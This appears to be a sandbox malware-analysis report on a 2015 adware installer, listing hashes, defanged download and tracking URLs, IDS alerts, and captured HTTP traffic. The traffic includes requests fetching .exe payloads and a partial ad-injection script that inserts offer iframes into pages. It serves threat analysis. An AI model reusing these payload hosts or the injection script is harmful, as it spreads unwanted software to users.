Similar by Lavasoft Polymorphic Checker:

Total found: 8
06dd24023adc8d04983c5457fac40ada
60b8edb99f1ee7811e7102cd54275620
9138dea0780842ff4a42d682b96fcedd
2bec52c530b4bd878c1cf79cd994f2dc
d94069b4cbe84020ec52e88b76afba59
af65e6e1d6e264775299c513d3e91084
3f4f1672e662a83b41483a07c7d8ce06
520dc7c510a68d8ce81e83e5d4260bd0

URLs

URL	IP
hxxp://www.netcoolery.net/310714d/310714_mb.exe?session=aUAekFiG9xfybmhwsn4W6nWSok
hxxp://www.netcoolery.net/310714d/310714_is.exe?session=aUAekFiG9xfybmhwsn4W6nWSok
hxxp://www.netcoolery.net/010914s/010914i.htm
hxxp://www.netcoolery.net/010914s/icone_cadeado.gif
hxxp://www.netcoolery.net/010914s/top-line.gif
hxxp://www.netcoolery.net/010914s/mobi.js
hxxp://www.netcoolery.net/010914s/mobi2.js
hxxp://mobimidia.com/mobile/libacess_js.php?idm=R0JDNlBNS1RPRDo5MjMwMDA=
hxxp://www.netcoolery.net/310714d/310714_br.exe?session=aUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSok
hxxp://www.netcoolery.net/010914s/carregando.gif
hxxp://www.netcoolery.net/010914s/verificar_ip.php
hxxp://www.netcoolery.net/010914s/extreme.html
hxxp://t1.extreme-dm.com/f.js
hxxp://t1.extreme-dm.com/s9.g?login=pcofferp&srw=1276&srh=846&jv=true&j=y&srb=32&l=http://www.trackpixl.com/010914s/010914i.htm
hxxp://info.beyabir.com/?v=1.03&c=c80ec53b&at=620310157&cntr=0
hxxp://rp.beyabir.com/?pcrc=904261263&v=2.0
hxxp://os.beyabir.com/YBRInternet/?v=6.0&c=1036843593&t=837812
hxxp://geosrvlb-629133695.us-east-1.elb.amazonaws.com/details
hxxp://desprotetordelinks.me/ironsrc_prot.png?nocache=1
hxxp://www.netcoolery.net/solimba.exe
hxxp://www.netcoolery.net/310714d/280815_cr.exe?session=aUAekFiG9xfybmhwsn4W6nWSok
hxxp://rp.beyabir.com/?pcrc=1791066535&v=2.0
hxxp://rp.beyabir.com/?pcrc=283731752&v=2.0
hxxp://installmonster.ru/wmApi?v=2&m=getdomain&k=5952f3602db108990a0897c0df93f9ed
hxxp://www.netcoolery.net/solimba.exe?session=aUAekFiG9xfybmhwsn4W6nWSok
hxxp://www.netcoolery.net/ruiwS
hxxp://www.netcoolery.net/prot_link/pr.php
hxxp://c-0001.c-msedge.net/msdownload/update/v3/static/trustedr/en/authrootseq.txt
hxxp://c-0001.c-msedge.net/msdownload/update/v3/static/trustedr/en/authrootstl.cab
hxxp://c-0001.c-msedge.net/msdownload/update/v3/static/trustedr/en/B1BC968BD4F49D622AA89A81F2150152A41D829C.crt
hxxp://crl.globalsign.net/root.crl
hxxp://www.netcoolery.net/prot_link/top.png
hxxp://crl.globalsign.net/gs/gscodesigng2.crl
hxxp://www.netcoolery.net/prot_link/middle.png
hxxp://t1.extreme-dm.com/i.gif
hxxp://t1.extreme-dm.com/s9.g?login=pcoffern&jv=y&j=y&srw=1276&srb=32&l=
hxxp://www.netcoolery.net/prot_link/botao.png
hxxp://os.wosign.awsr53.qihucdn.com/ca1-tsa.cer
hxxp://brsoftwarellc.com/services/rules.txt?dummy=924
hxxp://brsoftwarellc.com/services/update.php?v=2.1.0&key=RgX3oPipgrjE3VzsW3H15cqQSJcxbtXr&dummy=894
hxxp://northstar.91dc213c6e2b.api.socdn.com/installer/55d5c153-258c-45c9-8491-62040a000141/118729746/config
hxxp://northstar.91dc213c6e2b.api.socdn.com/ui/1yosgi/en
hxxp://northstar.91dc213c6e2b.api.socdn.com/s/app.min.css?2015041501
hxxp://northstar.91dc213c6e2b.api.socdn.com/s/applicationIE6-app.min.css?2015041501
hxxp://northstar.91dc213c6e2b.api.socdn.com/s/ender.min.js
hxxp://related.deals/services/stores?dummy=164
hxxp://related.deals/services/rules?dummy=671
hxxp://northstar.91dc213c6e2b.api.socdn.com/s/iconos-ie6.jpg
hxxp://northstar.91dc213c6e2b.api.socdn.com/s/box.jpg
hxxp://lbride.com/static/a/266759/video-icon.png
hxxp://northstar.91dc213c6e2b.api.socdn.com/s/app.min.js?2015041501
hxxp://related.deals/services/update/2.1.0/rZFbFEiC6e4i7g19HMHv7SF8FA117vjl/345
hxxp://pgjs.me/services/script.js
hxxp://www.netcoolery.net/desprotetor_stp_2.exe
hxxp://www.trackpixl.com/010914s/mobi2.js
hxxp://www.related.deals/services/stores?dummy=164
hxxp://crl.globalsign.com/gs/gscodesigng2.crl
hxxp://www.related.deals/services/rules?dummy=671
hxxp://www.trackpixl.com/010914s/extreme.html
hxxp://rp.Beyabir.com/?pcrc=283731752&v=2.0
hxxp://www.trackpixl.com/010914s/verificar_ip.php
hxxp://www.firstreq.me/solimba.exe
hxxp://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
hxxp://rp.Beyabir.com/?pcrc=1791066535&v=2.0
hxxp://www.firstreq.me/desprotetor_stp_2.exe
hxxp://www.trackpixl.com/prot_link/pr.php
hxxp://e0.extreme-dm.com/s9.g?login=pcoffern&jv=y&j=y&srw=1276&srb=32&l=
hxxp://myredir.net/ruiwS
hxxp://www.lbride.com/static/a/266759/video-icon.png
hxxp://www.trackpixl.com/prot_link/middle.png
hxxp://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootseq.txt
hxxp://www.trackpixl.com/010914s/010914i.htm
hxxp://www.trackpixl.com/prot_link/botao.png
hxxp://giserv.Beyabir.com/details
hxxp://www.related.deals/services/update/2.1.0/rZFbFEiC6e4i7g19HMHv7SF8FA117vjl/345
hxxp://aia1.wosign.com/ca1-tsa.cer
hxxp://www.mobimidia.com/mobile/libacess_js.php?idm=R0JDNlBNS1RPRDo5MjMwMDA=
hxxp://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/B1BC968BD4F49D622AA89A81F2150152A41D829C.crt
hxxp://www.trackpixl.com/010914s/icone_cadeado.gif
hxxp://os.Beyabir.com/YBRInternet/?v=6.0&c=1036843593&t=837812
hxxp://www.trackpixl.com/prot_link/top.png
hxxp://www.trackpixl.com/010914s/top-line.gif
hxxp://www.brsoftwarellc.com/services/rules.txt?dummy=924
hxxp://www.trackpixl.com/010914s/mobi.js
hxxp://e0.extreme-dm.com/s9.g?login=pcofferp&srw=1276&srh=846&jv=true&j=y&srb=32&l=http://www.trackpixl.com/010914s/010914i.htm
hxxp://www.brsoftwarellc.com/services/update.php?v=2.1.0&key=RgX3oPipgrjE3VzsW3H15cqQSJcxbtXr&dummy=894
hxxp://info.Beyabir.com/?v=1.03&c=c80ec53b&at=620310157&cntr=0
hxxp://www.trackpixl.com/010914s/carregando.gif
hxxp://rp.Beyabir.com/?pcrc=904261263&v=2.0

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile
ET USER_AGENTS Suspicious User-Agent (DownloadMR)

Traffic

GET /wmApi?v=2&m=getdomain&k=5952f3602db108990a0897c0df93f9ed HTTP/1.1

Accept: */*

Host: installmonster.ru

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 13 Oct 2015 05:09:32 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.36
20..9cj3nlc327vqddz.imadijnia.ru;500HTTP/1.1 200 OK..Server: nginx/1.6
.2..Date: Tue, 13 Oct 2015 05:09:32 GMT..Content-Type: text/html; char
set=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..X-Power
ed-By: PHP/5.4.36..20..9cj3nlc327vqddz.imadijnia.ru;500..0....0..

GET /ui/1yosgi/en HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: DownloadMR/3.1.50 (MSIE 6.0;Windows NT 5.1 SP 3;.NET CLR 2.0.50727 SP1; .NET CLR 3.0 SP1; .NET CLR 3.5 SP0; .NET CLR 4;DB Microsoft. Windows. Operating System 6;m=VMware Virtual Platform;u=adm;northstar;48a77bc8-072a-aeed-86f6-4ddda6a39bf3)

Host: northstar.91dc213c6e2b.api.socdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Cache-Control: public, s-maxage=60

Content-Encoding: gzip

Content-Type: text/html; charset=UTF-8

Date: Tue, 13 Oct 2015 05:09:44 GMT

Server: nginx

Content-Length: 1541

Connection: keep-alive
...........Wko.6..._..[...e.v.4..4...}.m.n....(..E.$e. ..wHI.l'X.6@,..
.<...5~p..................g.Fq...Y.._....^[email protected]|..N.. $~9K.dj
>.\a......2..*...3..W..^.....M...].U..$g.r7.\..Q.7J. ...=..v6*-T.?.
J....zy...FoO.3]......{y1.(*....8..9.$....W. f.8...R.[...MhlcV..B.^b.o
....?.......Z.....;J.Lm,.,%.O..P&e8pO...pj.D..:.&F..X........=.u..g.V.
...~...gZ..'........w.}J.\...O ...^.,.L..Z..l..>F...NWD..*F.t..F...
.Q..G.qt4<.D...a.......&.Y..d08zrp.d.w..|>.J.m*.A.(kF.....7..)sl
{[email protected]_..US......n.x;.H......6...q..k.........4...eO.....Wl....,
>8<|2:[email protected])R.O......y..{......]h.q......|....8......{W;o
.K..K..H......sn}..])...f)[email protected]....@..............^.G;..
..\..Fg......|..wF...y..8...G~..7..TN.sNZ{.....%....i*Ef ....uo..#....
...#p.J#&.......hc..L1P.A.(....O..XN.Zn.YTP.."Vgn...>....A......FtY
Wr....-Do.'h....'..$.fc6...7pB....6...........[..xC$.T.p .r.....V-.S..
[email protected]...^....U..........;..[J....%.........B..XA,x'
z.Z.6..>.d.......9[.}..M.e.n.*@T...p<.P ...&.3.......h"..r....J.
Hn........2...x..t.JW....C..;V.q..M.S...A..%/`...M..K..3.73.$n........
.c6..~.. #.,Y. ..V^o.....Q...f...z"......U..\....&..!....h.m...F.C....
l I........,.a....@. ........@._."\[email protected][c?{GD~G v....u.j.
.'.....K.9}.]U"..in...~V.KU%[].....N.....6....u.iz`... .....5.Y.u...H.
\..... [email protected]#ks...ln......s..Y....(.XG....F..L...r.(
.[..[Qn..&...I*...5.731.U.>.>...........G...>.........H.em...
....G.rBU.(.i:..z....0.t.nB-o......^..f.k...BU....[.}.)...fwC~....
<<< skipped >>>

GET /s/app.min.css?2015041501 HTTP/1.1

Accept: */*

Referer: hXXp://northstar.91dc213c6e2b.api.socdn.com/ui/1yosgi/en

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: DownloadMR/3.1.50 (MSIE 6.0;Windows NT 5.1 SP 3;.NET CLR 2.0.50727 SP1; .NET CLR 3.0 SP1; .NET CLR 3.5 SP0; .NET CLR 4;DB Microsoft. Windows. Operating System 6;m=VMware Virtual Platform;u=adm;northstar;48a77bc8-072a-aeed-86f6-4ddda6a39bf3)

Host: northstar.91dc213c6e2b.api.socdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/css

Date: Tue, 13 Oct 2015 05:09:45 GMT

ETag: "561374e1-2aa3"

Last-Modified: Tue, 06 Oct 2015 07:14:41 GMT

Server: nginx

Content-Length: 10915

Connection: keep-alive
body,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,texta
rea,p,blockquote,th,td{padding:0;margin:0}table{border-collapse:collap
se;border-spacing:0}fieldset,img{border:0}address,caption,cite,code,df
n,em,strong,th,var{font-weight:normal;font-style:normal}ol,ul{list-sty
le:none}caption,th{text-align:left}h1,h2,h3,h4,h5,h6{font-weight:norma
l;font-size:100%}q:before,q:after{content:''}abbr,acronym{border:0}.cf
:before,.cf:after{content:"";display:table}.cf:after{clear:both}.cf{zo
om:1}body{background:#eee;color:#333;font:normal 12px/20px Arial,Helve
tica,sans-serif}a{color:#11c}a:visited{color:#11c}#app{width:730px;hei
ght:430px;margin:0 auto;text-align:center;background:#eee}div.data{hei
ght:375px;position:relative;margin:10px 0}#sidebar{text-align:left;wid
th:160px;height:375px;z-index:100;position:absolute;left:2px;top:0;ove
rflow:hidden}#sidebar .logo{width:140px;height:40px;padding-top:5px;te
xt-align:center;vertical-align:middle;margin:0 10px;margin-bottom:10px
}#abw{background:#ddd;margin:0 12px 10px 12px;padding:10px 10px 7px 10
px;text-align:center;border-radius:7px}#abw div.icon{background:#fff;p
adding:10px 0 5px;margin-bottom:5px;border-radius:7px}#abw p,#abw a{fo
nt-weight:bold;color:#777;line-height:15px;overflow:hidden}#abw img{wi
dth:64px;height:64px}#topics{margin:0 0 0 5px}#topics ol{list-style-ty
pe:decimal;list-style-position:inside}#topics li.active{background:url
(iconos.png) -253px -325px no-repeat;border-right:1px solid #f2f8ff;co
lor:#333;font:bold 12px/34px Arial,Helvetica,sans-serif}#topics li
<<< skipped >>>

GET /s/ender.min.js HTTP/1.1

Accept: */*

Referer: hXXp://northstar.91dc213c6e2b.api.socdn.com/ui/1yosgi/en

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: DownloadMR/3.1.50 (MSIE 6.0;Windows NT 5.1 SP 3;.NET CLR 2.0.50727 SP1; .NET CLR 3.0 SP1; .NET CLR 3.5 SP0; .NET CLR 4;DB Microsoft. Windows. Operating System 6;m=VMware Virtual Platform;u=adm;northstar;48a77bc8-072a-aeed-86f6-4ddda6a39bf3)

Host: northstar.91dc213c6e2b.api.socdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=2592000

Content-Type: application/javascript

Date: Tue, 13 Oct 2015 05:09:45 GMT

ETag: "561374e1-7a40"

Expires: Thu, 12 Nov 2015 05:09:45 GMT

Last-Modified: Tue, 06 Oct 2015 07:14:41 GMT

Server: nginx

Content-Length: 31296

Connection: keep-alive
/*!.  * =============================================================.
  * Ender: open module JavaScript framework (hXXps://ender.no.de).  * 
Build: ender build jeesh scriptjs morpheus.  * =======================
======================================.  */.../*!.  * Ender-JS: open m
odule JavaScript framework (client-lib).  * copyright Dustin Diaz & Ja
cob Thornton 2011 (@ded @fat).  * hXXps://ender.no.de.  * License MIT.
  */.!function(a){function c(a){var c=b[a]||window[a];if(!c)throw new 
Error("Requested module '" a "' has not been defined.");return c}funct
ion d(a,c){return b[a]=c}function e(a,b){for(var c in b)c!="noConflict
"&&c!="_VERSION"&&(a[c]=b[c]);return a}function f(a,b,c){return g._sel
ect&&(typeof a=="string"||a.nodeName||a.length&&"item"in a||a==window)
?(c=g._select(a,b),c.selector=a):c=isFinite(a.length)?a:[a],e(c,f)}fun
ction g(a,b){return f(a,b)}a.global=a;var b={};a.provide=d,a.require=c
,e(g,{_VERSION:"0.2.5",ender:function(a,b){e(b?f:g,a)},fn:a.$&&a.$.fn|
|{}}),e(f,{forEach:function(a,b,c){for(c=0,l=this.length;c<l;  c)c 
in this&&a.call(b||this[c],this[c],c,this);return this},$:g});var h=a.
$;g.noConflict=function(){return a.$=h,this},typeof module!="undefined
"&&module.exports&&(module.exports=g),a.ender=a.$=a.ender||g}(this),!f
unction(){var a={exports:{}},b=a.exports;./*!.    * $script.js Async l
oader & dependency manager.    * hXXps://github.com/ded/script.js.    
* (c) Dustin Diaz, Jacob Thornton 2011.    * License: MIT.    */.!func
tion(b,c){typeof define=="function"?define(c):typeof a!="undefined
<<< skipped >>>

GET /s/box.jpg HTTP/1.1

Accept: */*

Referer: hXXp://northstar.91dc213c6e2b.api.socdn.com/ui/1yosgi/en

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: DownloadMR/3.1.50 (MSIE 6.0;Windows NT 5.1 SP 3;.NET CLR 2.0.50727 SP1; .NET CLR 3.0 SP1; .NET CLR 3.5 SP0; .NET CLR 4;DB Microsoft. Windows. Operating System 6;m=VMware Virtual Platform;u=adm;northstar;48a77bc8-072a-aeed-86f6-4ddda6a39bf3)

Host: northstar.91dc213c6e2b.api.socdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=2592000

Content-Type: image/jpeg

Date: Tue, 13 Oct 2015 05:09:45 GMT

ETag: "561374de-1cef"

Expires: Thu, 12 Nov 2015 05:09:45 GMT

Last-Modified: Tue, 06 Oct 2015 07:14:38 GMT

Server: nginx

Content-Length: 7407

Connection: keep-alive
......JFIF.............C..............................................
!........."$".$.......C...............................................
............................."........................................
....................}........!1A..Qa."q.2....#B...R..$3br........%&'()
*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................
......................................................................
..........................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.
....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz.......................
.............................................................?....*.. 
.j....<...Eg.......u^......:..FG.U ..6.h..e..?:C".xUm.l......R....U
..6P..z..i...4..l.....)....I.............{...F..a.S.f......Rm.e.69..RG
.Z.Eq._J....9..j.......w.Z.Z.......&..Wk..A...98.x.:1.:V......&._OZ..A
 ...t4..m.mg.W.,%f..x..V...~....6..in.)..C..P .v.....?...4.........h.*
.f=I.....t.....4....U...d....)...MW...9.vO..go............_.......e.A.
... .k....\..B...jT%Q.cV.i.M}g....(......s...e..[.{Vy...JxhAZ..S.Rn...
M.f&...A.^)..c.1....d.|...o...D.`. ...,K.....#O...v5...7>...".V....
......8.......3Eo.?yX~."[email protected]...,./.v.CI. ..4VR.N.....
V.A..O..^.....U5.O.B>."........c.E.).4m....I.8....:.iY..q.._W..R..M
......g.,...%Gy;...1fb.I'.=.....fp.................PE....4gc......k...
....%.......|P......GE.. 0v7........y......VQ..iZVGS..e.Y....Eoo..o|(.
..*..G.6...t...m....h...u...^[email protected]._.y.r........pKf[.........e.
..,L.}..m<.Ud.....S.h=(....by...5.....z....b...PY..I...k..W9.wc
<<< skipped >>>

GET /prot_link/pr.php HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.trackpixl.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 13 Oct 2015 05:07:55 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.6.13

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

X-Server-Cache: BYPASS

Content-Encoding: gzip
57d.............Vms.8........d.l......4a.../....)#l.... .......,......
..]=..> .g...f.|..............(.{t.E..K4.;{w...........-.h..#..S..h
....Q(.*..D......a.<[email protected]_.|C........*
.QZ..6..D.....*..Y.e..F.x1..lr}.zz3E......_...|@.o>..'Q..$Q.n....v`
.S. 3..k.Z..\....Yz.;D....*......$....]...7.b.0.:.@( &z.7.Y....V<..
. .B....0.e.Vn.....:K.}dx....... A...#...^.... ..6.0.A...j.....K.39..;
...E......i....F..N..tp..._M....6p,d..E.#..J..f.......p..gB..J.....!!.
......x.......}.y.........v2..K(.p...`v.zw....3C.........f\W...n..>
"Vhf.......`.i..n..eLM.Wk.2..a.......B...O. .l......B..h.......V.-.uQ.
.c./E..2uJ.......G.PK..x.tkkI...J ..4.i....o......#...}..B.fU^M.^..V)H
XVa%V.myfr._.N1.._.....& e...r..* ......zA_......z..tIK^..3.....7L...j
.j}.._..,...1...'....a...u-..g...S./F/..O.#.....(..}.......I.o$.z@ FR.
....-....^.{.m.4....\.H.[w|."|_....Q..............!.vQPq...A-.....F.DK
.......[.<p.E.h..7..#H.$....D......:.n(7L-....@%....Za...{.5...c...
@.....\.\.....r...RW..W..75..[.....p..m1.... .ASg#x1|.=..k.x:.%F...<
;J.,..L5.4..2.(..h.e......=.m..B.5..Sg..O.....l.......:.K. ...~?.o.t^.
.mx..(B..j...jC...m|......h.%.....-.i.H.....5R......=#.=3:..z.....v".d
..!.z.=.n.\..._8...-.Sa[<[email protected]........&.0_..E=....p.
z.....u...p..a=.t....#L....Pw.8..=f.;.....]r|....pl.Y..|......._..5ll.
.V....'...0.m..?<j.<.U=...8..}.`...!.Q#G...UU..P....."p.r...#}.F
....K..."..|.I.=...4.%...2./o...uP........0......
<<< skipped >>>

GET /prot_link/top.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/prot_link/pr.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.trackpixl.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 13 Oct 2015 05:07:56 GMT

Content-Type: image/png

Content-Length: 14797

Last-Modified: Mon, 03 Aug 2015 15:34:17 GMT

Connection: keep-alive

Expires: Thu, 12 Nov 2015 05:07:56 GMT

Cache-Control: max-age=2592000

CC: UA

Accept-Ranges: bytes
.PNG........IHDR.......w.....&w......pHYs...#...#.x.?v...OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......
<<< skipped >>>

GET /prot_link/botao.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/prot_link/pr.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.trackpixl.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 13 Oct 2015 05:07:56 GMT

Content-Type: image/png

Content-Length: 7829

Last-Modified: Mon, 03 Aug 2015 15:34:16 GMT

Connection: keep-alive

Expires: Thu, 12 Nov 2015 05:07:56 GMT

Cache-Control: max-age=2592000

CC: UA

Accept-Ranges: bytes
.PNG........IHDR...2...H......j......pHYs...#...#.x.?v...OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......
<<< skipped >>>

GET /ruiwS HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: myredir.net

Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently

Server: nginx/1.0.15

Date: Tue, 13 Oct 2015 05:08:07 GMT

Content-Type: text/html

Content-Length: 185

Connection: keep-alive

Location: hXXp://VVV.trackpixl.com/prot_link/pr.php

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Credentials: true
<html>..<head><title>301 Moved Permanently</title
></head>..<body bgcolor="white">..<center><h1&
gt;301 Moved Permanently</h1></center>..<hr><cent
er>nginx/1.0.15</center>..</body>..</html>..HTT..

GET /services/script.js HTTP/1.1

Accept: */*

Referer: hXXp://northstar.91dc213c6e2b.api.socdn.com/ui/1yosgi/en

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: DownloadMR/3.1.50 (MSIE 6.0;Windows NT 5.1 SP 3;.NET CLR 2.0.50727 SP1; .NET CLR 3.0 SP1; .NET CLR 3.5 SP0; .NET CLR 4;DB Microsoft. Windows. Operating System 6;m=VMware Virtual Platform;u=adm;northstar;48a77bc8-072a-aeed-86f6-4ddda6a39bf3)

Host: pgjs.me

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 13 Oct 2015 05:09:47 GMT

Content-Type: application/javascript

Content-Length: 25900

Connection: keep-alive

Last-Modified: Fri, 09 Oct 2015 19:51:47 GMT

ETag: "5ac2ae-652c-521b14f4e1ac0"

P3P: CP="Potato"

X-Cache: EXPIRED

X-Server: Provided by Intermedia

X-Country: UA

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Credentials: true

Accept-Ranges: bytes
BR_url=document.URL; function BR_isAff() { retorno = false; if(documen
t.body.innerHTML.indexOf("codigo_js")>0||document.body.innerHTML.in
dexOf("loadfor.me")>0||document.body.innerHTML.indexOf("/b/")>0)
{ retorno = true; } return retorno; }.function br_QS(name) { name = na
me.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]"); var regex = new RegE
xp("[\\?&]"   name   "=([^&#]*)"), results = regex.exec(location.searc
h); return results == null ? "" : decodeURIComponent(results[1].replac
e(/\ /g, " ")); }.function BR_LoadOff(e){if(document.body)for(var t=JS
ON.parse(e),o=[],i=0;i<=t.offers.length-1;i  )if(o.indexOf(t.offers
[i].type)<0){var d="brapp_offerdisplay",r=document.createElement("d
iv");r.id=d,r.innerHTML='<span id="br_close_box" style="color:#dcdc
dc;float:right">(<a href="javascript:void(0)" onClick="document.
getElementById(\'' d "').style.display='none'\" style=\"color:#5e5e5e;
text-decoration:none;font\">X</a>)</span><br>",r.
style.fontFamily="Verdana",r.style.fontSize="11px",r.style.color="#4a4
a4a",r.style.textAlign="right",r.style.zIndex="999999",r.style.backgro
undColor="#FFFFFF",r.style.width=t.offers[i].width,r.style.height=t.of
fers[i].height;var s=document.createElement("div");s.id="display-123";
var f=document.createElement("iframe");f.style.display="",f.width=t.of
fers[i].width,f.height=t.offers[i].height,f.marginWidth=0,f.marginHeig
ht=0,f.scrolling="no",f.frameBorder=0,f.src=t.offers[i].url,r.width=t.
offers[i].width,r.height=t.offers[i].height 18,"bottom"==t.offers[
<<< skipped >>>

GET /310714d/310714_mb.exe?session=aUAekFiG9xfybmhwsn4W6nWSok HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.netcoolery.net

